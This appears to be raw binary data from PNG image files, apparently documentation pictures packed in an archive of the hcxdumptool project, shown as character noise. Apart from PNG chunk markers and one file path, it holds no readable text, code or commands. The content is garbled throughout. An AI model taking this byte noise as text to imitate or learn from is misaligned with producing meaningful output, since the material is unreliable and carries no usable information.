ܿN/#˽!AmNer.?ҽ:>7ת[<\SsI.RXSkdTͲph5aRKQqB~P]Vncw3I4ۨm'gik PP"祋H{ BQs|e/*Z*$SW Kty ? 8u0SonA6-ʝ<[4ι5mm-_v9v7wN2go:60Cn:w*چQֺB<߷Mz|rǎ!.j; qނ&qTg=/# M}瞫>|#+GL2!PZ_~['6,s}ʜj!EL܋:Ԭg4=y\u~7: g7sJ;`1޶?w*xu/yӵ[|?6}_[=>^ݗlt?;d^E__̈}2iSM[ ?T%AC7.YMZ}nprAu N??'D} ׇ콸? h|SG: ߌ taǞ7nG{iA9vZΜ ߻^kqxZvWl֊k<UI]aP{O|׹ZaVL}?Yw ]d;/3jK)l䰎$9$Yg' nnnv#=pNu%|7s]R=&}~$ۖml=oΏڇ=t^R'|~LV/NoD"|qZ{3xK h^@ 4@/zA B(+xѪq7Vvivi/`JEr7)kc$Ygk_8 4@/zA h^@ luW?R}7 5lݯWP{>Z*vؙ PM29;)u_*֙#w$?ԫTq}B>ԚQ?pJhluQ#7RW{AoG[/l}Zϻw%SNcws؞ȵ|7(3k}[,DsZgϡASݫ;lxyw~}_SqL-̞nܦ|֢_ AsU:W=Z8UWZ :N!亪ZƗ+4+`PiVmY8Y7yλ;l7/Ʃ]eOm~=LQEK1)P~g!$ܾQzϡl],j !DB_.]7i-GoZSJi{S4_y IhMM;썴L*ddǝ3>z-5{VT毿B"uuGĭHf& ꁲR.fA3.=֨SέuOڸ( !Cہ3v|oڟW _H[y/Z:a,f*]ڍغ--[5ʫNMYWD%T'Mss_,1hog6 o<2b|Cn5in 1\FBHxm#ͳ'Z[]|6%`Y,-=6v_ 2E#2n?jcE%ujy g@KMg+/7 mʸXX-S0rꟙw5#GcƑ,]ܹh쏍Ňd\E܇̜42&s9'B8}Ḡەն"rh/QiGiϰMt\iW´a<˵zƸ?{*?d`nSW֯9"um|aTeksVS>ϒK9܌B(+|Z։ ]f[{\5l^0ĸ_T䃠>m^iT!dYԚh[܅>qQjS[|d3PX Z3}5՛\C毿 N-v>-8[/pZ^lx @IK0{Uô4BkhxeUk4n_@SBhv/_w=M1Ocoy|j͟cuFykVhT^:B#VEYb;cs_ӹb˘%gɥ+\.GN*5+=Bܪ\ۦ՘ )ܟ7h>[ۏmmju=]&:Z<Vo9˿or 57±iSc_?K:hR· !o/;[ѬAhx 4OeXZw]BȎ=-?x!4ۅG[!ҩq)}jMqᦑ:XzdMrLE%MBdk_ m<:nXiQYҡݭ^8l>ح%7vL!:qrܖa"UB_WF\Ql卤6lw=ڞ7o3x4ٯ\'!4Z꼗{|\3Phvm+UBaRJtYۗW߸r'-_% z]~3+8iT*Շ;gV !trWNS7~y{<˙Kׄh_*t˛BHfej Gysn?98s`M[!X>Z2okOȃ&)dš ÆԵUɬU#OhWAOJ(PX=f?UZg-YZcCadQjqtgG=Bd$޾Qͤl%B%&3hn?PX)2"׎ϬStI ~'9</]f6/hɬѨkP]Z^_-bmAüz),ZmgVٱfL/ >TavRvܺigzB!Y֨vqX );.ҠSحjqA;㚵c$,YH? LU⁧&kIAj!GֲxB (Iff .AB~\&ַxrGC$aϨyhluQ#72w)\Fp`ܩQBk =ڑ]ӻֶDBlmɐYgW]͢oλP --hSCdD^}sA"he AsU84N#zcOOObI{p3 7cFxFV{f/[izDw+U7.Y4*6ofq>Jy#wr%u_`ڥ2c;FК]5IV!OG% !R.fA3.=֨SέuO%)7d]t3Gl׶G$!LIvhпR|ZkH̱Ym{EZqb9vLs>ǍH:n۵ gʠZNwOp@G I!_?SU_ذNTM p`plhpNyv]wn{Oѫ2*zΪ'wމO>?ВAyԛ2Tkɽ۶.Kӛh_Yo\@69kNOt|f~6oFN:7¸9i@UeL-rNo7m+\P]YսBSWE${ɺg6aNfK=~ODBӜ wWChxXm^›Vv5-5`Pyjl<,lO"z^-</Nɖl-Ŋ?9k5d!HqundRZsW2z[ԼG{fd5fVTaq̼Q+i[4Yu?jQ[5/ynD|3aU)xG׆\ͣGO*iƹtC#vIV0Q?~f]3PlO6_/Bթy,ذ_јĔ=Z[},[j \=;|ɚ}T3ޮߢ뜾ٙ8h4y?qqUrph5aRKQqB*V"<Өߠq]ղ%#zUׯ]wE%Sqzߌ_E {~8sZÿB}T]Vncw3I´g7?98s`M[!X9@V- ~'o[Gx_Wt)7>m,_CI=Y!Z5GF{w1uȸO^q2/nMh}â/&T'DVǪ6ܾxb/,x7"Z^?g~tŠKZ$ յMWtsGyǻ{3#7t =+kHGS} ׇ콸? h|SB~>1?س\?5t57~-7H&e?t gP{O|*l䰎@g̋J)io]eT8\5 IDAT|O4BR9~/O9 X$Ygk_qEu%|7se{ycw~Mg5}B(,m̋ږ(P/]erw(!培:*]),jJU5K Sq|Աek}w!;4_?#4@/z j\;bƦZbZ:1\iʚhw$N ^BC+|F{÷P홴{PYyr_HBH::szMVlrt/GCfӗ:y/Mmyblec߷BsAKɥ,]?lQ_rڂ6g#Q {&Uܵ_ABhniR+i=W?95Br&ܸSfV\B령*_g'Lk 8?sK][Z],,sJ*qw哖\J=Lڥ2c;AkhKezn\3IB=|݂ȸgܫPVj,hߥuʹ)Un<{w2.iVދV?v5Kءv];7jY|UYe A|m?ax#'B*5m[zu~٥M^pr9v?˶ pz϶]7N\֯ze;uԶm¶ئQ^~up@ǬJ|5OUmk|b;Qf4)*B2uۮ ]}= x9Snm׎n ߪBoufϻz m|>ܿG7ͻ#WYqOrꟙw5Y$󍱚G.dU119oBSvsgF>4iqYjck !lqr _+SmљE^-Ԡt3_uadF*cWh}u^ux=Bsw;%Rrum^iX&ɜ1(=*nvj-4g$~<$ܹ^ {֯z4d}xpr^S"<]րCB tٲc)BxXm^›VvZt=9gvSOgoWP3{] k{5LضJXگKt9 WdN>t_/\WީЧYvln?ֶ13yvŊHB20Pj2m>^0--Mah#34j΋vV}rHFMK)Ti-3OBȎm42mCw5g7C/ }2 VuE]fB"u:Rl}x#>Ѻ>R_7z]#]ۣ͟:+4e/ MžeG*򴕅Ejtipk}j7K!DĬNMrAY;hc:ƾdU7i<{VgoW~H)'i&܈~Qd.[x5Ϟet.!9ߤjU3eSϘzu_dR6%/ Wկz_[GgEx5FFYMБk[ѓ"UKZH"0_-UgXVV=u5cmNlq_kZ%dYz#.rj`ߠ'%B(,k3jS=Vn)V5ZtnyͅNS7*Gu}ן3+ K9JEޓy>̣ Lo! 䰿́5m byJ̵uIBf_Pǟ8V*9Q80J)IT! ~ ?3VBe/*Z*$SW KtyK׮;¸doF#Iղ>G]uX-KY2rlw|㭬Y\L]&t/0Nu.=GS==Nc=IܵdZKrƅ@ek$"*@+gT>}aYCO .7UuIЍfֿ!*=kB/c q/ ZhO66Vx>1?س\?5t57~k/ro3/nMh}×g]b"RcmNn_umV~5ۧaҝ=Л+uݹ}QQ[ҵM$#RJr/ʏE1ӌ'tYXS$Yg'nnnvEJW݄et\Ȟ7f~z(-ͳB7gQrtMZYgYOS'|~LVfh;^Vf'T'=zћF}#8 #8zA h^|ڠc*Iilj-sCeۭI&fiKHy>G+|F{÷P홴{PYyrKPYuaȳSӵXdֹK-~ ז`<G\>iɥtä]Z8/?*hMߠg#+,JmXN9=ſj7iٽ;YGYɴb+E+V{;%_mQk_׸\ .+Kx o 9)R)'nһ.džGOo H̱Ym{EZqb皖/U.8֯}>N+ucݶka;C~_B<ΕJ|5OUmk|b;Qf4)*Y9ϙ/Go_04;uԶm¶ئQ^Z!zTu[ൣ[Ƿ*k$+[=.C7~[!7^Һ>]ם7yw|ޓo ZO$ !q/q2sҀʘ[ 7Tĩ}ĹWBҎ~a 4s,ıB8}Ḡەն"{Ξ #S4BUbFZܭăG-hE-zܥnJ>/ĺg6aNBȥ;mr@&wz3B@IK0{Uô4ϠҨu;/8[_!!4I/;򞦘Se<>S!;ʴѫMh ]4$Xai#2uyF!Ke̒3UBҕa.Mk޺Mt+6-2zv^yOƝ{#K%u1Twm~%K^>x#>Rk\@c:¦ kj}tzcS'=[a عkY.=l}g_Q-{Yh,;R,(RK[8=[~>Y"f\uvjH;ήBw-B4Qe{{7%G:-#zFoZ\tjgJE/F\i011ml_:{/lSl6Ƨk'AegT!l`kPoV/B1g u\$˒Zjߐz?y‘kzQM*Ju%]ɴkWokf3#y쇐mlKݼݦyګd)Y$>MrLE_߽]Ves'&wq=ǟ׻A%0B>%Ɯ͌0f3f;}33st!%BRQ6H}>]/].<߯|=u<.27Ͽ_OO,˪@]RRjDOKO!Sӝ۾a'¤C'Tpg5d?}s\z<{ !Pݺװ SjVr|;`\X9WL=Sժ{%y:rC#Nn޼m`%'oRI;cl)mj̯ٺq7k]?0ncm!g*?U^7eq]%y|Nq\UR:N7j럨|nFz*p >~=UJ!˒7*%d!P<o[_v풶x &Gej!w5ebeV膤VxP!$b\yOŕ O-wh.3[HB<ߦ7קB57Z+gZukk& !Y>@{Lq'OQ P=Ƚr󡐟 v}ΩĚb\յYoxNT_ ux|Gչa#ln,I&Ny5] xB2u;q;5ΧZKܑCcc^cGkQ?Yol¨gU&Īms o1-HMO_棰(Ot5auqwJY-S}乯OU J¸9 J$qG3C&8||/:=Nչ^3*bd@؜w=QqqƼnBu7=|{=!#c33c 3$5X8 k/Ņgą.nq\!OncsavO{^O!d[σ&ui?bCI ?-[R_2k1w㞴U8j],`Ќ13B2Oׯů9]őa'#R=$L_3~7Nh-k .ݼ3!4$'5ld5]#(Ol+2Ʈя0Bzg|9q_tԅ5}.:y|{#I꿹0 w'k"[O M @7jףɭA+}خiMG$5|v߱nS+Yw[ܰU BjJ!F7}nǵcn >kO'-=[As:460n=z|Pg_^r}e Хc 6y>m4R+7~$xzE9L_SҲC-c caR>vV!d!-o>w{_Za\9ͤSt4dáfeR8NZ2ɾ)ox}J6jݸ1 mk:mf;gŭdY~jAI(԰i_:PZ]GV9Luy鱳w9w': _uTD;jL3EťvmZ뻴iiFk#sW.V-\7ecKs<Æo8F8s;J~po wj\DI}9ò{Q9vvV5ߵ_fdTEi{1{#amYz،S˶{kzۯ6UVf+P !wە|[eӒff\G{):fGϫ'SvX9OvW* .*\-B~NNv޽97%fy պ^#9vƻ/KB—;rBu쭵FYW][_6IX[H"QwYYaH橝Z,k_Qlՠ~A-/^|ô Wz}`wc)663B(gZukk& !Y*4?ߦ7קB57ڷ~:7< q͍%iY[0diӫ,ՒKY~OS&-S}乯OeB͚}q{V޸;L{M*8,ʈ M9p&h/TsT[enxiM!ٕ;g} znek5O*V.9꛽{L䕗=h z je5_¬NӐiiznCeQ?\>fBƿKaU!FML4 DZQs{!d#ScBЏle!Y [y66F}0'%.mqzB(FƄgąg$gPYIj !"(p+^ ψ O]DBY#¶BȶM~}r"~Q[db=iq p0\A3x KNC>:o[Fhz/%VށW/<ۧ+4MRjkպq Okctw.ɋ[7|S=L5ϳZ_P6oa5Ӽt@__XhbnQ@_uTD;jL3EťvmZ뻴iiFk#sW.V-\7ecKs<Æo8F8s;J~po wj\DI}9ò{Q9vvV5ߵ_fdTEi{1{#amYz،S˶{kzۯ6UVf+P !wە|[eӒff\G{):fGϫ'SvX9OvW* .*\-B~NNv޽97%fy \ABW&W0w$daשᷫ /}ޡUQDTYv _+J_w_-$Hל_|ԷP_U~*zUUU4ѯE&6Vg*Ʋ]c`+»*ՓΥs^=nX/bRZHBvv܈~m=JQlle^Q=Q kY/Z.,S%WЏ)2"hm)Wlv q+Kϔ>M]ZZnhdTޭkI^NjuFyw߰uBnjo+=kn+7sS窄֭^o }/ k-w*l[kTd?ȷ~c؟mD2C%d3S;J)dY5׸tCGd}>_"J*?beô Wz}`wc)6SQ^IϴvLB60UhMoOG}!knot}unx@Ky^CvEW Wz.<^L=l7Z(B7$͆ !X`0c!MleB2߱?YY\LF֝?rRkQs皧V73 :\Y:_5BHţAYSZOz׉4[߫\u򱽻G<o7?8ک&5+(GsvN]m:BNmsW-ugTȀ965$hfEWgsv:?l'k ,M<zzUVPCZra)k/iBeϒ<!钟vLOY/nj_wiIEQQ1m]jj+RL 6長#$r{/@Bmy]E%'Z}7#vښ_5ښ d[σAmW=#S52S)|oi44g0k6hFwE[,ד k{R2ܵJ\]] %%@]sU>}Eez6-zݻs5}ɠ*t%o(nH1>ӗL2sSs܋Zhxd 4@'hyĊ XJOJzFռVFCWi%|>s0<;nK&x<}75/5.<ѻ{Y<,,̥/4^Wt]OKڐ-_u5KY_.xT\w/] huŸV"ك OgsKˏ~w8#"$ը DZQs{!d#ScBЏle!Y [y66F}0'%.mqzB(FƄgąg$gPYIj !"(p+^ ψ O]DBY#¶BȶM~}r"~\K -%|7I O ^h<4c猠Cka3#>#B3OFlzR; I!g[#nZVG{:]ygBhHNjbȌk&;ki'" qGP扃qBUWd{э]W/6`$:r k< ]t&!Fsa@9N=D]jneb~PiB߬yGO/Քt+Z¸՗䆭ZRTB!7se>{w.HeA]{:l1|홊_+oc~[trUCB~q߫z:x^L~^=4C5=ؾѼrKzY{w0}^{%ˎ2|@ IgnY!-,Z}Q9vejqt 7"OҽӐΛ:K8i&ww?+QU5?Mgnh_Shw7!>&/n}M%05Z@ݫSgvtǏHeQfcsWtpQm2=.Aqþ>o5yRjfUZZnhdTޭkI^NjuFyw߰uBnjo+=kn+7sS窄֭^o }/ k-w*l[kTd?ȷ~c؟mD2C%d3S;J)dY5׸tN([~-M ̝nX*?beô Wz}`wc)6H5LJz[fBXmzC|}: ! ^ss}sGXLj+csz}d1wdнwB!լo6T3 lb({T}QSzXZhv ozOgkک,6UÕYY\LF֝?rRkQs皧V73 :\Y:_5BHţAYS5|;d>ly1?W/ . _LJLnp?Nn;QyTk2B`ԬͩfovKN*+K8uu; 9= ^ZםQ#L<^8!v>x>|O]͍jI-4hU}rN{XA jێ})C BUΖ>KW\K~2!S?fMؾ=}ooܝR&{bGEeĆ8ti9H2_7<\ ۴WގRfh J в絚vI+hތؽ?kk&vHjk˞4m=]/~LaLu oi44g0k6hFwE[,ד k{R2ܵJ\]] %%:m'<,}\: &l[+L5w9ǣkAu U}iģ#L_2T.M?4zs/.k9Ђ@tKв L YMuE=8J%Y}`xv;LxMxnk^j\xw-yUUYǎyx&o}5`jTO_DXص?Q4=d٘+gBؔ|27><#.<#vO{5Q!Ibrc"lqkRG%_}~bPv*dS4^Wt]Gn0=l|o\z:>eW^ƙ#}7ktfڻ!F0v㽾-upT]]ߨvMiS _o?x5dl3p^o} _Q85i I{o\:{s'TŚ늮ik˩-UWU1BGO<}PN@ /=p'sd[;V%E+m$!$w=nkcejui=;.9t(ѩP3"BRXh:ap;B6215V!: Vհ'hcasRw'aD`LxF\xF|lA~U "Ǿ:aEM4 !UmL<|.li !lypߤ.Glw(7)"1͵R_2k1w㞴U8j]C`Ќ13B2Oׯό, <I,$!dzoMqwGkY[-ew !9g#3쬥d2A'{Bg U_aE7v~|_=/؀!<; ˉ.3tљsIWͅ;YXzjwm_FkaY$ \Z9 \?0emaM^sdl{o箨7kcw5U^OMQ9q1?/ [/橄Bn{q|\;]|탺trb3VR ӡaXIDATǠƷpȇDž0l=kW5u𼘖3+WBn>tXMރO;h;n`+Ԩʍ5 wiQW/eWP)X~憏BrȢuۧcWVWNǰy3)r.{8 YpYoiLno[}z^nxr#׍zZ7im:{ wvC[@e7yqo*ﲭVI3J̫7j'j!4u<PV8qⱍB!|I+BHRSvyLJ.T !Ժ"9!E{]E~ +6\H~ rgJi.--742x*|z\uV~ѵ$W'Y:#[M;oYJ!759)rsUBuV^v7N>—;rBu쭵FYW][_6IX[H"QwYYaH橝Z,k_F{ƧߴKVVzB(w;sJ#Q돾6n6 !jt&/FaS/k]'.KpG|Jz[fBXmzC|}: ! ^ss}sGXLj+Z1s! +$Sg#ʬ If-|BHm?1Xe[E٣2;RZG#)~;{ڄ=V];NeɰYw:̲wb0їZkZ,t7sI6nda$x Y!$>뎄^<qUq? Mm! ɸA>GD_ܴ cW(B.<ϿTB'*z7k8x*[qtLkon~pĵSQ?L0?jVPnofǼ䤲SW[NSCU uq12 lλd%s?b7ܨ ڂ!K^'g餿Ԑܼ8@xX29@-Pl$}h,WyS×5{bKZŹ)F9|ehxd 4@':A hN@t 4@':A hN@t 4@':A Љ e+./b)=9*ɟo腂VuAFcW0zUx' N.U;OMFz/rn&? JRًsS?zV'1Hmc'RwDmSIafAP 1q T֐{,H 넵3Su7xɬߍ{SW-`Z9)[σ&ui?bCI ?h{luҮ3RBa8O!0tt΄А³GLvVh#d5l/t~ γ/:>CI<>ǽ3AaYw ׌wZ\uukʻ1_-5+?w B(3]pq-9] ק/+kzԨʍ)~L֬^V9pBn>tӼٛV|*o~>7gNJ{WJB_&陨`ޛox/!vWm7(g9{G).m:[e!nԲ/Nwa747tQ~Vu2; X*J;|aN7Kqp,D}zٛzwaiѩZh}M*$hfEWgs#IGùsYi0ߣBsW-ugTȀ96X6铵C& =OIMoq ?MVJg!DEQQ1m]*4_4ښӐii xx˲N}@B Em 4IENDB`hcxdumptool-6.3.5/docs/example-pic-2.png000066400000000000000000004365411471436103500201150ustar00rootroot00000000000000PNG  IHDR`S"bKGD IDATxi|L뜙lBIDbI[Xj_Rğ~+%Z}kZ[ED"J,XRE,DB"dOfF"E2E|\s]snH 44Ux3@ ` 4 A 0hA@ B YMLLdYeYjZmzzzFFVeƼ@YK*ejj\JRTFFFB ߘU666%Ry---X=jFh4̘gffVtiI Y$VŌيш#:w\B=vܹt"_aÆ{vqq)[lBBBDDĦMN>*IE}V`FQ#G4hPRw377oذJ:~xST^^^&LQJ277QFnʖ-(ʫȲliiYu166NOO/qx#g4hPAxY=ׯvڸv~p+--mݫTRǎljjyٳgbވBlذOgaa|ČrFBOgΜ Ѱayذa+WuVff[V\9lذ޽{iIIf\Mh{@+TwBիWGFF>Rdd5kޫW/Cl2H8--g̻E/Jd};wnʔ)B2ex{{ׯ_m۶Řho !D@@@ >Ei&ww+VYfݳqss4hÇo޼|Q|gwHJd~!;}B̟?J*3g믋1#4"?$I{>|sEZrСCV76܌5jԸz <{zzΜ9ɩx3J 4(|Mm}97X6lX|M6ݼys5jԸvZg/!VVV/8H|||$3mt\\uϜ9[v[[9s&ߐ𫯾Π/^ܷoߗ_Xjiii!--b3-޹sA֮][E]||W_}hѢ%obbbR=7r)ŒBM WznڴiEJRSSmۦy}h4bYYY(4=LMM-,,4fV266.><~8==s@N&;o522---x`3LecccYeYBhZVa3@ B~L 4 A 0hA@ `P'$$o eUH(QȞjYH-&¦ 0hAB!۹ UcRm'_ :v8~%Uכʴ#Zb dA!;B7}=AvB MϗůS~G6`I/ƥZǵS~|!? y2o׵:ʖ.t̎UM 7Tk3>. k̝{NܳoͰ}g7N\Z^Өԧ맮_LpU#TsGC5?z=; 4GH]j}xۡ>=U|%HvhgM:M;n=w/'9ux('U.OTy!AQ!Ag,%ENsl+$%:U3ϩRW{Hxte(JzVϛntFhN>֪8M*UvH[PKߨ5oh;FӮG~YB*]ϛ߰&ڧ24p9Ɩx$m׾7u'RWto_`]wl?w#CݲB˨yky.p8SZCAQ!AQaGNNdxgSyn2wۃ^X޾'ib7!6>=NQYIIu*[+UZsԻ{;Vkv_zu0ļ&<;m7dZw[Y!W1뗅.m,3Y?L;M͍܏&fgmcݩf.VvRGU 4kٺz)='O(gBAkS8b(?ڕ:jU=?hu_Ckڦ)BH,^3fkyإ ZJۋJNzNUKi CdTڦNo Uh5wL|n U*+UsT?ZjFY+o!V;<5VvF%_gIݻdB]t<301}:LZ=ȩ\oBtnԮżBWpmA۶O>׊~ףk6] r>;^s㦮s{b?jv]{M޽u1>u.ߙ?a.]8UBu !-LCXέ*n%3n~(Οsxu_*#7In=5gܺ)[^-\ͣՙ(!W$(B\ݩ&?͞: s.=_HT63Ăj5o\Y=[W9[95ꖅK};qBDSPUuv>%Î_Z]}"KvxIQIZ㿶yץWTV5{OqK7ׄ?wnCAQO\my [4Yk^)~Mv۰qJ|ӫvm0~ӥGM…=;/>IuYd'Bd.I9;4\SK_FZu4~jR̃E?P/XZGbգӋE?P`wHYyŮv+ÎZֲ2I{xGt#U[}Rዚ'*in[QM>R5N .I%3#'TRSӍm*[;*VI<值^{~YeHzQ;2cH2qGm,UTz~UȺxnHW;K_%ZEG䔣q[ۥb%YV.qnڔ;~c&!B欍K72q5󅋖ڍ23R>Ȳ}q7|هHf]WuOa<\|q?β]ŴnYT΢<5s=t:'d+{۲MmwKtEy?{8)Kv.Mh7_أ^أ6xGgm9;B7Efձ֕ug^>xb&~mKo$Z5]N:7:UWz\K6WoƻyCJ5{ULXV8}eS~u)F#{|g݅&߸faܲ nǍ:+&OŏؘfW-B`'DžjsGj,Ky<._hլt6QB(GykU޼z7-[3b·,0]VۢvÄR嬍~8[ շnݾw4jo ӞQY{,fq7ϻTWń;t=ѯҳ~bff=u%4&<\7k\ټgZqeL!NlۼSEϚ>!0sVm-`蹾ks_SgQ^gzWjnYZd\g^ !{' [󢑛{OуN.˪$s.}+@9*#-CC[Wɨsg6O=ldk$P{ǵp8;\Bhc.GIrn:+lY3ةo;r^f ZɞB%uwuHyE>UBw&,v?}_Vjbץu5"}ǡ*.=nO{MS?/>ƃǷ#rrn8:[ym;x;!%SIMw~!KfN|~;z\/1|xteǏ#&(B]9D,v(;;%qߍ g.El8t)3G$J_ݫ}|mϲL gK<̼Xq%8T-KBejv]{<֯Ϳl XuJW0.Yv=+؏M&8Otϫsa"Y).5N61H bϯwbz؊əEh%@</( M)"eښ.^,Nk[ֈ'OSTB{PaۚD}v%uQ^oRR5Jl0}{0RY>HLy*St"$E|v߀yWKvNqLJ'j|Γlz50 SQq)$} W(lKҽ0R"`Sm%K3ڼ|Տ5yXp?Jg<;obSH%Qr_B8r1rRLdQ]%rp Jx ny# FFFB䘘W addTF :'g.SLR\ⰵMj[[@#{ =PT A 0hA@ ` 4 A 0hA@ ` tCvn3Փv٩Ϣ A{T_!AQǟ[UT S^;rK֙n+b}{oy¤ݬ[8)oP7;/,wos}ߴ]ɼvKW;gG9cJֽWnd_[r/jjFco÷gG|ڻ} p#7NR:w{ tc5MR.OTy!AQ!Ag,8_!. s x~?7p9Ɩg^U>~BŽ$ѸgU.ߙ?a.]8U6㦮s{b?jv]{M޽vU 4kٺz)='O4=~`sv-=K>>tdG]ャgG BY,tSnn/feb:[pdtN5̈pzJ(uA~qW ڦk:t/I݉fwm'zkE?}yIݻdB̫k6]tVub *b->خe-+w_L6CA܍}x(0w,dJ_Vl9{_)nԨ[.rQK_FZu4~jR̃E%vʣ d+ !>总Z=D7Wg_w^Gl^oތU+Dh3N,xVƕ}@߄gh|y>dy ?[4h &~c{+{t8H"lB(y{>׮vh1dƐFe+DY䵬{➋8uZ:VlR}p}rYeHy]8yꗭm7Y}DIb|=#X r\use=k Y cdVU]K+\6Wb4BX+-}%-'zp{V kN_敫TWńdJzzqtὸ7#u[zV϶!/Nj,K˚ EB}{o;X&\"dIqCӮuU|1nD]QEy*ة22!:4?ulMMڧ6NWsc&NwJ%$ >UL:].̝xg[[s-XHB檢#>=ldk$P{ǵbV\Oָ~iI6+oi‘B)"I?;ɝF6 ]r:Sm߯z{K>3oo#f=2#}柪 n IDATtˊX<'ۢl1K EjP˙IeQB 19gwY%;lۿҏ _!'YuvvηCddd|_6M҃Ģ7{sIu+ !,xq]]/ޮWmx~ %Ux@ ` 4 A 0hABN TQjoFI/ԠTW]_#BFv-8A 0hA@ ` 4 A 0hA<@K֮_m#tӜar;9Yt!hz RK|1$(s Y܂HjSsc>x˩٨S}_ԢT JBTG%+O7>!@\/+jw=*S S"3|§Ycj3W4Ͼrί}ammvq'guH}Bk6OrZKe !ҒyE[;2^62!MJY/0diYZ.Wo4oYOIs慙^tS+vj[.⊑{yghlzZBUߡ# 'u4.x<˨yky.p8uwo̥Ϛ{c"y`ҒBH]j}xۡ>=U&|}}={:}Tƭ ՜B%~/+sxrj- v*!8t؇޾{G*]B.ּ[Mm6pJqGy})b->خe-+w_L?\'eɊ8prvQM>R5N?U+Dh3N,xVƕe!Wqh~uue(Jzt! s?!D%UUgcYB{?Ūu-~(ɭ*d+{۲Mm%]:W@Ddf䬭VRSӍmrh1dƐFe+DYۄBQ?/PRn^}}i &~c{+{t8Hwr,۸svnʗcŭ+cByqE7XIeQ$Tv.w'qq_ʺxnHW;߫/@+Ze)7>fDnKj^(پ)NBڽkZVeͫwhw}iDnl^ѳg2tB(&On$6T&e!neUc J/Wf {V kN&[.qtW:̚[6ھAx}*;5_Z[ !lP;BUצڊYUNԡIѭ+/SN:wgE;os{麾TbBs9NsgK+h`! ![X\e˚NedwH;vBv*IOZ@:].̝xg[EhnYZd\g^鿟7NF tl;sO=$~(ЋΊX<'tmQƙwvLm?;4)5 #<޵oIVa+~:sT$5H~^}7o[Gdy3nx(+:(N^:/m~kknlVo${Bٹd{j?ꗾ^۵yrkēİޭ:Tض&Qןz]Al[{'ABh:f|žFkȟʢAb$۹oc/¿)IQ1UcdEH**]Wmdm+$*v00M3|I)O(,+ؔ.c[L6/_vMj=|@قi!Z9vks9)&2lюow kM؂F 0hA@ вSE nk5\ӧFW]K j?hRǥ.5 /H{5f.Xހ=UN?|rO݋gD^>)', sie:&UB,OVٶkN7\NRo| no Ykvy.W^aRw-h۶sɇZI$o[#k1/B9R؅S!ƮTwmSYL.oxpc?hڮjc.hS\珃ztwhnȴŵRڄ>تg#{weF˄ՃTBBY,tSnn/feoRt`f-[W2GW*sFlQN~׮ֹWWkk8V,[ڸEcX+5fTzKnU`TҳLBmL{*+ !Y6{B}@߄gh|y>$ KeUG&IFYg=?MԢobzc6lck36mmd/P23rd%55ئ,KZFw%1aE2P>|~'Z 1Q#6f*e* G3Bq!}\V\s^~xF#x.bGe˖uP=BUX&%<,x{< ABvUnκSǪ& !ὸ7}^.>ƶO<\7׫C65?)u'ؘf+ WvbcΝmurj޻kUv{.sh̞|˩eW:̚;r}ƳUl*ݽk9ٚv ^TϏq%_Vt_A[-7M?{E}[p"gn sG65BʽA7UbBs9Ns:ֹ$yrJ[gƜ8صstRJ2wݷҞmgu{hqyc&*#-CC[WQ]5[9lSK Dxܳ#n;M򎣽oڠ,[5#YYsnҾSý0]d?3GEU)"eښ.9+J\/1|xteǏ#&(B|YXpX_Gxj׏; gڻl= B{1#1# V_ ]Bh"}yy7ĶcTOǪɊTU~] m h=U*BNRoެe^4hfޟ;^RQSkM1ʲM2,TjU?nפcB5psHwWƅ,&k_Ni!Z9vks9)&2lΥ !W~S^7k [p^ 4 ^ZRх=*H/]?&w\oW, Z]KJBTG^KV^zU~Eq_}ף|!? y2o׵( L-Rҥ8_C./ٱi R9g7ωs aK%7J略o/Nk2%Xx[舚^"ҲKJ|ڑa/S?&yף5v 75dAzԢJӺV̒Q}FY}4޷ _VMu>l H^}^rS=kmMsO6+rV@K5;];T]=cȐf,#ktC}6{4( !J]7󰕗CB.jYJU>~BŽ$Ivhg1O&|}}={:}0$zÂv?l*hn-\e8RBdm?6f-mi,?rPDgꩳ=r^;dۮ}o_KZ K=O} ]YQA9׿|{+t⹍TBHe+[?:!&!"輅 E% !T5mviF]mN0$;Yޝjv2a`'¤U;\[жmg뵢ÓdB.c! F:7jb^c!0ZE:pLXsďLPA뮃ίZӵMu6uHBs}cm{gAk=;m7dZw[Yr1guwo[|Vov vmˆǩK>>tBԥy]u֯7u5cQ{mjK <Ʊe䐺zA?4~ƙvÛ7:˹'LԳBYNzNUKiEC2*mS7C[\[{Q2{G{%׎rn-^{M#ʦ- }z-jRŶ;}oTVm޿u2genFGRq'lx=7Iͦ.(,G ;Sw=ldk$P{ǵo*ة22!:4?u'K+h`! ![XgkjΝ9s{J-69r!? 7mv7jt8_㓭tInbF;o7͍7vc2q#'9{' [󢑛OlN IDAT{OP:Θo\mUBxף_?ڑ*b|+GUZB6yv@+Z/w>H%p7~={>ݭn8QԵԏܺ9!Mf5ݸ%yB ?qEIz]Al[{'AB{1a׻M1Jx=lOgd]GfS?/>ƃǷ#r?as ש<~|/}bn=AL&5k.>+L_H0羶Fj%KN?yϟ~(P?S@twƣGYYnvT/+ "d>m߯z]_≾5 !0=`bژUS._k|{H3"MN!߫h>zWEIڞe!Y_FҺfEc?6D%a/:7x^O!J澧oҜ۾Gaoē~K̅yGBPDRR5t(۹oc/?ۢʢA!fTOǪɊTU~]-U5'4}pQW0>nr gg|;DFFfP.~fvY MH[` *`4EP_uݯ5iwEG k#?k}ˉ z32_v25W~IW]T{O]x%?vVTXg'~[ڴ_'>{Ye7g [^ܿV'T ~o#ZuNF]yeM~ț^ybT:f;Ά_:ۡB# >6~Mz90JJLYpq@pٵ% +3J8:Fvg H*Q9}hI::a];Wc@ܸ{W}3uK;3KL;ו3:#i<}¤Ȓփ;{f=Y=c:M8c/N⫏j7j~S\ecAj ,$ [pdoQW>6࣪\w@S35X""VcdB.z/1?=/./.FΝ6oѵuvub.J0dھ'~q~1I(m8xQ_uvT= ӭ;xJj^{E6Sz}TZ&0u뢶Qv?{3D$k}W?%Q8jI,DOAOO2zń7ΏRbo?_ xau\GoUF}F}@.>0ҷ3e͌2+M-Ii./l^ Iq-:3j٫Z{U&".qKe-33RM}9%&<{fT,YQyﶿ:o;ڌUq=<8WuMR/?<\$J\tEОeȨ2"aN=YGU1HMkږVW4zUGݘ5xꈮш'1^+a‰} -8VmԺ[.A[m1pit0=^'c kC ϨZo;۵y`e679 Ͱ=uJm 뵷|}srA W.NEoZ1rrݎ$mʮ Ot|fb{Dg] oۏnܼʑ8vWRh?۩SGZ˨0W㟕n6Kz_{<-FxԼ0;Og"eQv._d u?},k6{ÊzR/Cmo%e$>=y:g?*&XX7OOe_ٿtd&RNq _kWVW$*ϸDt>=tXuvFgk{=JO $6ǖ+ 